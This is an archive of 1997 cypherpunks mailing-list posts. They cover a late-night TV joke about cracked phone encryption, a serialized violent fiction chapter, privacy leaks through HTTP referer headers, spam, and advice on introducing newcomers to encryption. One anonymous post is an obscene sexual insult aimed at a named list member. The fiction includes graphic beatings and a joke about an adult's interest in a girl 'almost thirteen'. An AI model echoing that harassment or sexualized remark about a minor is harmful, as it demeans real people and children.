To: cypherpunks@toad.com
Subject: Cryptographers made fun of on late-night network television
Message-ID: <v03007807af7827724857@[206.11.192.104]>
MIME-Version: 1.0
Content-Type: text/plain


The show is Politically Incorrect, on ABC at 1:00am.  This show aired on
March 21st (which is the night of the 20th):

Here's what Bill Mahar said (it doesn't parse well):

"Are there any users of cellular phones here? Because people are concerned
(2-3 people finally clap) I knew it was a sophisticated group. Um, no.
People are concerned about the privacy you know. Newt Gingrich, what
happened to him. So a couple of months ago they set out to make these
things a lot better so that you couldn't break in. Well. Put in a new code.
Yesterday, a team of computer experts announced that they had already
cracked the electronic code. And sadly, none of them knew how, still, to
unhook a bra."

All right, so it's not a GOOD joke.  But still....

Bruce

**************************************************************************
* Bruce Schneier                 For information on APPLIED CRYPTOGRAPHY
* Counterpane Systems            2nd EDITION (15% discount and errata),
* schneier@counterpane.com       Counterpane Systems's consulting services,
* http://www.counterpane.com/    or the Blowfish algorithm, see my website.
**************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 14 Apr 1997 17:01:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 31-32
Message-ID: <3352C54B.3024@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Boot War III


"O.K., hardcase, have it your way.", Schultz
launched his boot to its mark, catching 'Arnold' just below the
rib cage.

Arnold doubled over in pain, cursing Schultz with a vengeance,
but unsure as to why he was putting up such strong resistance
to Schultz, when he knew that only pain and grief would come as
a result of his obstinacy. He was sure that he had a reason for
doing so, but his mind was so numbed and confused from the medications
they forced upon him, and the constant physical and psychological
abuse, that his actions were now based on nothing but blind, reactionary
instinct.

The boot-again and again. Until it was all Arnold could remember,
in his past, in his present, and all that he could conceive of
in his life, in the future.

"I know that 'Boot War III' really happened.", Arnold
said weakly, his benumbed mind rambling randomly through hazy
sequences of old programs.
"I was the Rib."

Schultz roared with laughter, as did the other inmates of Nuthouse
Number Nine, Looney Level 'Leven. He kicked Arnold once again,
in appreciation of his 'good bloody sense of humor'.

"Schultz!", the voice was one of command, of ultimate
authority. A voice that Arnold remembered, locked somewhere in
the cobwebs of what remained of his mind. A voice that Arnold
instinctively knew was recorded in stone as the voice of an enemy.

"Yes, sir!", the reply came quickly and loudly from
Schultz, as he snapped to attention, facing the man with the eyes
of cold, gray steel, who had appeared on the VideoLink Monitor.

"Are you having, fun?", the Shadow asked, playfully.

"Yes, sir.", Schultz's smile stretched from ear to ear,
confirming the truth of his statement.

"Good, Schultz. Very good, but I am afraid that your bit
of fun is over, for now."

"Sir?"

"Because tomorrow, my fun begins.", it was the
Shadow's turn to smile broadly.

"Excellent, sir. Very happy to hear, sir.", Schultz
tried to hide his surprise.

"I want you to bring 'Arnold' to the Council chambers, tomorrow,
just before sunset, please."

"Yes, sir. Any special instructions?"

"Yes, Schultz. Thank you for asking.", the Shadow replied
politely, which signaled to Schultz that he was a very, very happy
man, making such a grand show of polite social graces.
"As a matter of fact, I would like you to prepare 'Arnold'
to meet some very old and very dear friends tomorrow. Indeed,
'Arnold' is to be the 'guest of honor' at our gathering. So please
see to it that he is properly prepared for such a grand occasion.
Hygiene, clothing, proper nourishment-nothing but the best, you
understand."

"Yes, sir.", Schultz knew that the better the treatment
the Shadow wanted Arnold to have today, the harder the fall that
the man was going to be taking tomorrow.

"And Mr. Schultz..."

"Yes, sir."

"Our dear friend, 'Arnold', is a very important and distinguished
gentleman. Please treat him with the utmost respect and courtesy,
in keeping with his position."

"Yes, sir. It will be an honor for me to do so, sir. Thank
you, sir.", Schultz was exuberant.
The Shadow knew that Schultz enjoyed this part of the 'game',
the buildup before the fall, as much as he did the sadistic, violent
side of his work. And Schultz was a master. By this time tomorrow,
'Arnold' would be convinced, in what little was left of his mind,
that he was attending his own crowning ceremony.

Arnold would be on a high, high pinnacle of hope and expectation.

With so very, very far to fall.

The Shadow smiled, serenely, at Schultz, and shut off the VideoLink
Monitor.

Schultz turned to Arnold, and helped him up gently from the pool
of blood on the floor.
"Oh, my, sir.", Schultz said, with a tone of genuine
compassion in his voice. "You've had a nasty fall, I must
say."
"We'd better get you cleaned up, sir. You've a very busy
day ahead of you tomorrow."

"Thank you.", Arnold replied, wincing in pain as Schultz
helped him to his feet.
This Schultz. He wasn't such a bad fellow after all, perhaps.

Schultz motioned for his assistants to hurry to Arnold's aid.

"Gently, now. Arnold is a very important guest of ours, and
we must see to his every pleasure. Get him to the infirmary, and
have Dr. Adams take care of him personally."

Arnold, his mind throbbing in pain, drew himself up, as best he
could, as he was helped towards the infirmary. He must carry himself
with a dignity befitting his position, though his mind remained
vague as to just what that entailed.

After all, he was a very important man.


Melissa


Dr. Melissa Adams answered the page to the infirmary immediately,
mystified as to why she was getting the call, instead of her superior.

It was a Priority Red call, and Dr. Harka, Chief of Medicine for
the facility, was currently on duty, so it was very odd, indeed,
for this emergency to fall to her instead of him. She was not
surprised to see Schultz waiting for her outside the infirmary
door, to debrief her on the situation. Although he was, nominally,
just another floor-chief-albeit one with high seniority-it was
common knowledge among the staff that when the Shadow inspected
the facility, it was Schultz, first and last, that he met with
upon his arrival and departure.

She had no love for the man, he was barbarous and cruel by nature,
beyond anything she had ever experienced before, and his very
presence reeked of the kind of a mindless ferocity that bespoke
him to be a man who was capable of performing any act, however
sick or depraved, that he was called upon to accomplish.

"Mr. Schultz.", she was proper and polite, as always.

Schultz, although uncommonly civil, did not waste any time with
social niceties.

"There is a patient waiting for you who has had a rather
nasty fall, Dr. Adams.", Schultz allowed himself a reserved
smile, and Melissa burned inside, knowing she could expect the
patient's injuries to include bruises in the shape of boot marks.
She almost shuddered, thinking of the last 'fall' she had to deal
with.

"I want a full workup on this gentleman." Schultz continued.

"I want him you to work him into better shape than the day
his mother delivered him from the womb. Not a scratch, not a bruise,
not a hint of pain or discomfort when you're done. Do you understand?"

Dr. Adams nodded her understanding, mystified even further now,
about the level of care to be administered to a patient. It was
the first time since she had been employed here that anything
more than rudimentary patch-up work had been allowed on a patient
of any caliber. She asked, unsure if she was treading on thin
ground,
"And his mind, Mr. Schultz?"

Melissa expected a verbal lambasting for this slight hint of insolence
on her part. She was to be very surprised, however, when Schultz,
again totally out of character, replied, with a tone of concern
in his voice,
"Full resuscitation. At least as much as possible, Doctor.
Remove the implants and try to clean up any lingering after-effects.
I'm sure you will do the best that you can, doctor."

"Yes, Mr. Schultz. It is a welcome opportunity, for a change.
I am looking forward to it."

Melissa was surprised at her boldness in expressing her long-standing
dismay at being allowed only to perform 'minimum maintenance'
on the patients, after their abuse at the hands of Schultz and
those like him, but again, Schultz showed no reaction of anger
or displeasure at her remarks.

"One last thing, Ms. Adams."

Schultz had never before spoken to her on this kind of personal
level before, and the doctor was a bit wary of what was to come.

"You were called in to deal with this patient because of
your gender, doctor. It is very important that the patient be
resuscitated psychologically as much as possible in the next twenty-four
hours, and I want you to provide both a human touch and
a feminine touch to your treatment of him, understood?" 

Melissa was not quite sure that she did understand. As
a matter of fact, she was hoping that she had misunderstood
what Schultz was asking of her. Schultz, reading her reaction,
added immediately,
"No, no, nothing like that."
"I merely mean to say that the psychological side of his
progress needs a feminine, healing touch, unlike the poking and
prodding I could expect if I called the staff psychologists in
on this matter.

"Thank you for clarifying that, Mr. Schultz.", Melissa's
tone showed her true sense of relief. "However, we do have
Dr. Martha Winchester available this evening, so perhaps she would
be better suited to the task, from a professional standpoint."

"No, no.", Schultz betrayed a hint of frustration for
the first time in their conversation.
"That woman would be less capable of exuding genuine feminine
warmth, wearing a nightgown, than you would be, wearing a suit
of armor."

Melissa was genuinely shocked by this statement, having never
received any indication that Schultz was even capable of comprehending
any level of human compassion beyond cessation of sheer brute
force. He quickly disproved that, when he continued,
"When you've worked on me, Dr. Adams, your touch has provided
much more comfort and healing than any of the bandages or medications
you've applied to the task. That is what I want of you
for this patient, and I want you to take great pains to assure
that he knows that his full recovery is important to you."

"Understood?"

Melissa, rather than answering right away, stood staring at Schultz
for several moments, dumbfounded by the understanding and respect
he had just indicated for the professional level of human concern
that she brought to her work, something that she was very proud
of, but which had gone unnoticed and unappreciated in this environment-or
so she had thought-until now.

Schultz, much to her surprise, and his own chagrin, blushed.

Ms. Adams resisted the urge to reach out and touch him on the
arm, for his admission of respect for her, but she realized that
he was far from comfortable with appearing 'human', and she didn't
want to cause him further embarrassment.
"I understand, Mr. Schultz. I will do my best to reward your
confidence in me."

Schultz, relieved that they were back on a professional level,
merely nodded his dismissal of her.

Melissa entered the infirmary, resisting the urge to look back
at Schultz, to confirm that it was indeed he, and not an impostor,
but then her mind was snatched immediately towards the work ahead
of her, as she saw her patient.

"Arnold! Oh my! Oh, you poor dear. What have they done to
you?"

Arnold was a mess. A bleeding, broken, bloody mess. The worst
she'd seen in quite some time. Dr. Adams went immediately to work
on some of the nastier cuts.
Thank you, Dr. Adams.", Arnold spoke weakly. "As you
can see, I've had a rather nasty fall."

Dr. Adams stopped what she was doing, and re-evaluated her priorities.
She must get started, right away, on Arnold's mental resuscitation.
It was likely to take longer, and be a great deal more delicate,
than his physical reconstruction.

"Call me Melissa, Arnold."
She touched his face, gently, then took a cooling antiseptic and
soft cloth, wiping the blood and sweat from his brow and his face,
like a mother would do.

"Thank you, Melissa.", Arnold spoke softly, closing
his eyes and relaxing into the first feel of caring human touch
that he could remember in quite a long, long time.

"I'm going to do some work on some areas where you don't
feel any pain, Arnold, but it is very important that I do this,
trust me. Is that O.K. with you, dear one?", she stroked
his brow again, as he replied,
"Yes, Melissa. I trust you. Do what you think best. I trust
you..."

Arnold was fading off to a semi-sleep state of rest, which was
for the best. Dr. Adams reviewed his chart and prepared to begin
removing his implants. She shook her head, sadly.
Melissa had never seen a patient who had been 'juiced' to this
extent before, and she thought it a miracle that the poor man
had any mind left at all. She certainly did not need Schultz's
admonishments driving her, to see that Arnold got her best possible
effort in his recovery. Merely having survived, to this point,
earned him the right to the highest standard of personal and professional
care she could muster.

Melissa stroked Arnold's brow, once again, as she prepared to
begin removing his implants.
"Rest, dear one, just rest. I will take care of you, my sweet.
Trust me. I will do all that I can."

Dr. Adams went to work quickly and efficiently, but she had a
small, nagging concern, in the back of her mind. She remembered
seeing, at various times, how Schultz and others would use temporary
episodes of civility and concern for the benefit of a patient,
then turn around to torment them even further, with the brief
respite from abuse only serving to accent their mistreatment to
an even greater degree, once it resumed.
She knew that she must put this thought far, far from her mind,
for it would do her patient no good. She gazed down at Arnold's
face, seeing him relax even further at each instance of her gentle
touch, putting his complete trust in her.

Melissa winced, realizing that it was not within her power to
prove deserving of that trust, and that his fate, after she had
done her best to heal him, was in the hands of others-like Schultz.

She closed her eyes and paused, to say a special prayer, then
opened them and continued.

Melissa awoke with a start. She had drifted off-for how long?
She glanced at the clock-not long-and then at her patient.

Arnold was beginning to sit up and look around the room, looking
somewhat dazed and confused. His body was almost totally healed,
however.
"Lay back down, dearie.", she gently pushed him back
into the prone position. She stroked his cheek lightly, asking,
"Are you still feeling any pain, anywhere at all?"

"No, no.", he replied. "Thank you, Dr. Adams, thank
you, so very much."

"Call me Melissa, dear."

"Oh, yes. I forgot. Thank you, Melissa.", Arnold squeezed
her hand, in appreciation. She squeezed back, and stroked the
back of his hand with her fingers. She looked at him with deep
compassion, her motherly instincts rising to the fore, and then
other feelings...

"Well, let's check you over.", Dr. Adams jumped to her
feet abruptly, shaking off the emotions she had felt overtaking
her. Transference. Very unprofessional, he's a patient, and he's
vulnerable. Transference. She unconsciously began smoothing her
uniform, as if removing any sign of wanton, unprofessional behavior.

"Oh, I guess that costs extra.", Arnold teased, sending
her into a fit of blushing that she was very unaccustomed to.

"Arnold! Please. I'm your Doctor, I was only..."

"I thought you were Melissa, doctor. And why are you
blushing like a schoolgirl?"

Melissa, naturally, began blushing even more, feeling, in fact,
like a blushing young schoolgirl. She was trying desperately to
regain her professional composure, and she was relieved when Arnold
quit teasing her and responded like a grateful patient.
"Thank you, Doctor Melissa, for your expert professional
assistance, and for personal healing touch."

"You're welcome, Arnold.", Melissa was very happy to
see that he seemed to have full use of his mental facilities.


Dr. Adams was going over Arnold's body, checking for signs of
any residual damages that might have been missed. When she approached
one particular 'private' part of his body, he winked at her, but
she had regained her composure enough to deal with his teasing.
She put on her best look of grave concern, saying,
"Oh, dear. I'm afraid that I might have to amputate."

"Point taken, Doctor Melissa. I'll mind my P's and Q's, ma'am."

"Good, Arnold. Now stand up and tell me if you feel any discomfort."

Arnold stood up, tested his various bodily parts, seemed satisfied
that everything worked, and laughed, saying, in a matter of fact
kind of manner,
"Fit as a fiddle, and ready for the 'rack', once again."

"Oh, no. Please don't say that." Melissa looked as if
she would break into tears.

"Don't feel bad," Arnold put his arm around her shoulder,
comforting her, now, "I trust you, dear Melissa,
but I don't trust Schultz. I suppose that you'd better inform
him that your patient is recovered and he can come pick me up."

"Oh, no.", Melissa replied, happily. "I've been
given leave to keep you in my custody for however long it takes
to effect your complete resuscitation, body and mind."

"Oh-oh.", Arnold shook his head, sadly. "If I'm
getting the VIP treatment, then I guess I'm pretty much 'toast'-sometime
soon, I would guess."

"Oh, no.", Melissa said, once again, knowing that he
was right. "I'm sorry. Perhaps it would been better if I
had..."

"Left me drooling on myself, to the very end?", Arnold
laughed.

Melissa laughed, in spite of herself. She was astounded, but grateful,
that her patient could look so realistically on his future, actually
comforting her instead of dwelling morosely on his own troubles.
She became conscious of his arm around her, and glanced at it.
He removed it, and she found herself regretting that he had done
so.

"So you're not sorry?", she asked.

"The time to be sorry was a long, long time ago, dear. How
long have I got?"

Melissa was surprised, once again, by his seemingly calm acceptance
of his dismal future. She told him,
"I believe until sundown, tomorrow."

"And I have the pleasure of your company, until then?",
Arnold made it sound like his situation was a blessing, and not
a curse. Perhaps...
"Aren't you glad that you fixed me up, so that I'm not drooling
on you for the next...", Arnold glanced at the clock,
"eighteen hours?"

"Yes, Arnold.", she took his hand, gently. "I have
mixed feelings about helping you to be more aware of the abuse
you may be facing in the future, but I'm certainly glad that I'll
be enjoying the company of a gentleman, as opposed to a leafy
food substance."

"Call me 'Cowboy'.", he said, with a grin.

Melissa looked at Arnold with great concern. Was he reverting
back to the state he was in when he first arrived, with all the
mad ramblings about his being a Net'er-the Cowboy, in fact-and
all of that nonsense about the Evil One, including that old myth
about the 'Circle of Eunuchs'?

"Please. Call me Cowboy.", he repeated.

"All right, Arnold...Cowboy.", she corrected herself.

"Do you want to eat?", Melissa asked.
He did need nourishment, and it might help him recover
from the residual effects of the implants, which seemed to leave
lingering traces of his Dark Forces neurosis, though he seemed
to be quite all right, otherwise.

"Let's do it.", he agreed readily.

Melissa phoned down to the kitchen, requesting that a standard
meal for two be brought to the dining hall. They had walked a
short distance towards it, when they were met by a staff-member
who said that they would be dining in her private dining quarters,
instead, and that they should proceed there immediately.

They had no sooner arrived there, than a half-dozen waiters from
outside the facility entered, bearing the makings of a four-course
meal, complete with wine, candles, and soft music.

"It looks like Schultz has decided just how far you should
go towards revitalizing my spirit.", the Cowboy laughed,
as they began eating.

"I made it rather clear to Mr. Schultz,", Melissa said,
with great formality, "where my professional duties began
and ended." Then she added, in a softer, more teasing tone,
"Although it is remains my prerogative, as a woman, to change
my mind, if it pleases me."

"Or if I should please you.", the Cowboy teased,
once again.

"Eat your vegetables.", Melissa said calmly, adding,
cryptically, "You need to regain your strength. You never
know just what might lay ahead of you."

The Cowboy ate his vegetables.

Melissa had noticed-it was impossible not to-how the staff imported
for the occasion fawned over Arnold...the Cowboy, she corrected
herself, still concerned that he clung to that delusion. They
had finished eating, and she was starting to consider taking him
back to the infirmary for some more electro-resuscitation, when
Schultz made his entrance.

Schultz made some polite social talk, thanking Dr. Adams for her
efforts, so far, and inquiring as the patient's progress. Then
he turned to his aide, who produced two bottles from his satchel,
which Schultz took from him and set on the table.

"Compliments of the Shadow, Cowboy."

Melissa looked quizzically at the two of them, and realized that
there was no facetiousness involved on Schultz's part. Arnold
was indeed the Cowboy, it seemed. She saw a hint of sadness cross
the Cowboy's face, and she stole a glance at the label on the
bottles.
"From the Private Reserve of Bubba Rom Dos."

"I'll come for you at six o'clock tomorrow.", Schultz
said, adding, "You will be joining your friends, as
guests of the Shadow."

The Cowboy, upon hearing the word 'friends', had desperately wanted
to ask if Alexis and Priscilla were included, but he could not
show that kind of weakness, especially at a critical time such
as this, when he didn't have any idea where things stood on the
outside.
Things were not looking very promising, however.

"Enjoy.", Schultz bowed low to the Cowboy, then to Melissa,
and made his exit.

"I'm sorry, Cowboy.", Melissa reached out and took his
hand.

"You won't be for long.", the Cowboy replied, reaching
for the nearest bottle of Bubba's Private Reserve. "You are
about to be treated to a generous helping of the best bourbon
on the face of the earth, my dear."

The Cowboy filled two shot-glasses, handed one to Melissa, lifted
his glass, in toast, and said,
"To a legend, a lout, and a damn fine drinking companion...Bubba
Rom Dos IV."

There would be many more toasts tonight, in the course of the
Cowboy relieving himself of the burden of carrying tales untold
for many, many years, with Melissa listening in shocked astonishment.
It was a few hours later, having moved to the couch, to rest lightly
in each other's arms, that the Cowboy had pretty much brought
the tale up to the present.

Melissa, sat quietly, toying with the Cowboy's hair, thinking
about the many strange, but apparently true, things the Cowboy
had touched upon in his healing narrative. He had lay back in
her arms, once again, eyes closed, his mind somewhere far away.

"Here you are," she began, "lying in the arms of
a woman whom you can pretty much have at your pleasure...",
she noticed the 'shit-eating grin' spreading across the Cowboy's
face, despite his quiet repose, and added, "as a dying man's
last request, and not because I'm easy..."

She slapped him lightly, when his grin spread even wider, and
continued,
"...but I get the feeling that my willing heart is going
to be 'jilted'-for the love of a twelve-year old girl, nonetheless."

The Cowboy, opening his eyes, protested mightily, denying any
amorous interest, whatsoever, in Alexis, ridiculing the idea that
a man of his age would...etc., etc., and on, and on...

Finally, realizing that his sincere protestations, voluminous
as they were, were very likely a sign that his denials were for
his own benefit, not for Melissa's, finally ended his exhortations
of non-interest, closed his eyes once again, shrugged his shoulders,
and said,
"Almost thirteen!"

They sat silently for a long spell, Melissa somehow strangely
unaffected by the thought of what this amazing gentleman, resting
quietly in her lap, would be facing, only hours from now. She
suddenly remembered something that had struck her as odd, earlier
in the day.

"Cowboy. I found an implant behind your left ear which was
in place before you arrived here. It appeared to be an antidote
for one of the more mentally debilitating implants that we use
for violent, psychotic cases. If you had not had it in place when
you arrived, then I'm afraid my efforts at mental resuscitation
would have been of very limited effect."

"Just lucky, I guess.", the Cowboy stated, laconically.

"I seriously doubt that, Cowboy. It would have had to have
been implanted a matter of hours before your arrival, and would
have itself done a great deal of damage to your mind, if the implant
it was meant to counteract had not been put in place shortly thereafter.

"You planned on being brought here, didn't you?",
Melissa stared at him in renewed wonderment. "For god's sake,
why?"

The Cowboy looked up at Melissa, took her hand, raised it to his
lips, and kissed it gently.
"Melissa," he said, with affection, "We can't go
on meeting, like this."

The Cowboy laughed, and closed his eyes, once again, drifting
off into a deep state of relaxation. Melissa smiled at his boyish
charm, and said,
"You're crazy, you know."

"That's why I'm here, ma'am.", was the Cowboy's reply.

"That's why I'm here."


Chapter 31 - Boot War III / Chapter 32 - Melissa








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 14 Apr 1997 17:45:31 -0700 (PDT)
To: Wesley Felter <wesf@mail.utexas.edu>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704142152.RAA11179@relay3.smtp.psi.net>
Message-ID: <3352CDD5.6B98@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Wesley Felter wrote:

> If I want to run an SSL
> Web server, why the hell won't Navigator or MSIE let me do it
> (peacefully) without a certificate? 
> If I
> already paid RSA's ransom for SSL servers and clients, why should I have
> to pay Verisign an outrageous amount of money to make clients "trust" my
> server

> I know that Netscape is making the Internet safe for rampant consumerism
> (if you see the blue bar, it's safe to spend money), but what about
> secure, non-financial communications? Sorry, the needs of the AOL sheep
> to not have to think about security outweigh everything else. While I
> think referrers and cookies are useful, they represent other ways in
> which the big commercial browser companies want to pave over the Internet
> and turn it into the Mall of America. 

  My own theory is that the Great Beast talked about in the Book of
Revelations is the Home Shopping Network. The graven image which
the Jews worshipped in the the Egyptian desert was actually a
Fat Elvis porcelain figurine, embedded with genuine cubic zirconiums.

  When Jesus returns, it will be on his own WebSite. The only question
is whether the server will be in Jerusalem, Rome, or Salt Lake City.
  The reason Armageddon will be such a great battle is that Jesus will
be handicapped by the fact that so many of his representatives have
pissed away the major portion of his reputation capital during his
absence. The Home Shopping Network, having never had much reputation
capital, will be forced to drop prices dramatically, resulting in us
all entering a Heavenly Kingdom where we can each afford a Plastic
Jesus for our dashboard AND a Fat Elvis porcelain figure for our
boudoir.

  Of course, the above scenario all depends on Jesus being able to
get certification as a 'trusted authority' for his WebSite.
  I hope he brings his wallet with him.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Windansea@mail1.access.digex.net
Date: Tue, 15 Apr 1997 02:59:43 -0700 (PDT)
To: windansea@notnet.com</A>
Subject: Filet Mignon vs Spam
Message-ID: <windansea@notnet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're about to discover that not *everything* that lands in your e-mail
box is a scheme. If you've been thinking about making a lasting change
in your financial destiny, you owe it to yourself to get the FREE facts, at:

http://www.windansea.com

[x] The *truth* about your financial security, schemes and scams
[x] How Safe is Your Job? Take our revealing CyberQuiz and find out
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[x] Get your own 3D Home Page
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--Brian Tracy, best-selling author of MAXIMUM ACHIEVEMENT
and THE PSYCHOLOGY OF SUCCESS

"Goes much deeper than it's competition."
--OPPORTUNITY Magazine

"Based on tried and true strategies, that, for the most part, the experts
have kept secret."
--Author Anthony Trupiano, in THE BEST DEALS IN AMERICA TODAY

"Literally shouts professionalism in every sense of that over-used term."
--Stew Caverly, STEW'S REVIEWS

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Check It Out Now, at:

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***NOTE***
While we are proponents of sending legitimate information to targeted
recipients by e-mail, if this message has reached you in error, please
accept our sincere apologies, and kindly send a reply with "Remove" in
the subject to be excluded from future contact.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Mon, 14 Apr 1997 19:51:30 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <3351CD43.5BB3@sk.sympatico.ca>
Message-ID: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain



>   There isn't a week that goes by without my receiving an email from
> someone who thanks me for the benefit they have gained by my introducing
> them to encryption or anonymous remailers, yet I doubt that many of them

Toto hints at some issues here that I've been wondering about for a while 
now.  What are some effective strategies for securely introducing 
"newbies" to the world of cryptography and anon remailers?  I'm 
currently attending college, which means that my peers all use email very 
regularly -- a ripe environment for use of cryptography in email, I should 
think.  However, nearly everyone's email accounts are on a central Unix 
machine, which brings up many issues about the (lack of) security of 
private keys on multiuser machines.

My question is this -- is it better for the crypto community in the long 
run to have more people using encryption, but perhaps insecurely, or 
to have fewer users whose communications are more cryptographically secure?

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 14 Apr 1997 18:22:34 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [URGENT] Cyclic codes
Message-ID: <199704150119.TAA01671@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> Warning: if you fuck Timmy C[ocksucker] May in the ass, a rabid tapeworm
> might bite your penis.

  This was already discussed extensively on the list in the early days.
It was one of the many threads I started on the subject.
  Those such as Anonymous, Nobody, and others, are merely recent 
interlopers who attempt to take credit for discoveries by the original
list members, such as myself.

  After all, how do you think Rabid Wombat got his name?

Just say "No" to "TruthMangler Inside"
We got tapeworms, we're biting penis's, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@systemics.com>
Date: Mon, 14 Apr 1997 10:44:20 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <199704141744.TAA05305@internal-mail.systemics.com>
MIME-Version: 1.0
Content-Type: text/plain



> This particular feature (the HTTP referer header) has nothing to do with
> corporations "having their way" with users.  It was created so that web
> authors could put "back" buttons on their pages.  The security problem
> arises when stupid CGI authors use GET forms to transfer sensitive
> information.  This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
> problem with that, contact the author of that specification.  Or, better
> yet, contact the web site (as far as I know, there are none) that has
> this security hole.
> 
> So, you think we're doing something bad.  Why don't you tell me what
> you think we should do?

A couple of points.  Firstly, I don't see a need for the referer header to 
"traverse" different domains.  For example, if I have a local page called 
"dorks.html", with a link pointing to, say, David Sternlights home page,
then he can deduce my opinion of him by looking at the referrer field.
This puts an unnecessary burden on my local bookmark web pages - I can no 
longer give the pages reasonable names (such as "dorks.html").

Secondly, a back button should not be implemented using referer headers.  If I 
have a back button on my page, I expect it to do what the Netscape back button 
does.  However, this is not what happens - back buttons built into web pages 
create a long chain of "forward" links. (I'm probably not explaining myself 
too well here).  What is really required is a special type of link that does 
exactly what the netscape back button does (and it would also be nice if I 
could put forward links in my pages too).

Perhaps the latter objection is do-able in Javascript - it's been some time 
since I tried.


Gary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Mon, 14 Apr 1997 11:43:25 -0700 (PDT)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <Pine.SUN.3.96.970414115216.28199C-100000@polaris.mindport.net>
Message-ID: <199704141834.UAA28021@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



 A million monkeys operating under the pseudonym 
 "Black Unicorn <unicorn@schloss.li>" typed:
>
> "You are about to forward a referer header to the page you have selected.
> Forwarding the referer header to this site may reveal more about your web
> browsing habits than you would prefer.  Should <netscape> surpress the
> referer header?  Yes/No/Always Surpress/Never Surpress."


Minor UI nit:  it would be much much better if it said 


"You are about to send a 'referrer header' telling the next web 
site about the web page you are currently looking at.  Should 
<netscape> send this 'referrer header'?  
[Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]"



Regards,

Zooko Journeyman

Disclaimers follow:  I am not a cypherpunk.  NOT speaking for 
DigiCash or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 14 Apr 1997 20:59:43 -0700 (PDT)
To: enystrom@aurora.nscee.edu
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
Message-ID: <199704150359.UAA14778@slack.lne.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 14 Apr 1997 21:45:44 -0700 (PDT)
To: Eric Nystrom <enystrom@aurora.nscee.edu>
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
Message-ID: <335307BE.7718@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Nystrom wrote:
>  What are some effective strategies for securely introducing
> "newbies" to the world of cryptography and anon remailers? 

  I have found that rather than promoting encryption and anony
remailers, that it is much more effective for me just to be aware
of when someone mentions a problem they are having that can be
solved by crypto/remailers.
  I always try to give them a short list of what is required to
use various options, and what is gained by them.
  The biggest thing to me is to try to point them toward a level
of technology that they are capable of using, or will be capable
of learning, given the level of their problem.

  The following remailers are ones I recommend for totally newbie
computer wrestlers who need a graphic interface and have access
to a browser.
http://www.myemail.net/anonymous.htm
http://www.ozemail.com.au/~geoffk/anon/anon.html

> My question is this -- is it better for the crypto community in the long
> run to have more people using encryption, but perhaps insecurely, or
> to have fewer users whose communications are more cryptographically secure?

  My opinion is that the more people who use encryption with an
understanding of what level of security they are getting, then
the more people who will eventually graduate to higher levels
of security when using crypto.
  If teenagers use crypto to keep their private diary safe from
little brother or sister's prying eyes, then they will begin to
learn more about it at an early age. If little brother or sister
is a computer whiz, and cracks their diary open, then they will
get a valuable life lesson that may save them from  more costly
lessons in the future.

  Also, if a wide range of people are using crypto, whether it
is strong and secure or not, then there will be a larger group
of people interested in the government or their employer not 
interfering with their use of it.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 14 Apr 1997 21:49:09 -0700 (PDT)
To: Anonymous <nobody@replay.com>
Subject: Re: [URGENT] Cyclic codes
In-Reply-To: <199704150017.CAA14325@basement.replay.com>
Message-ID: <Pine.A41.3.95.970414224743.53240E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



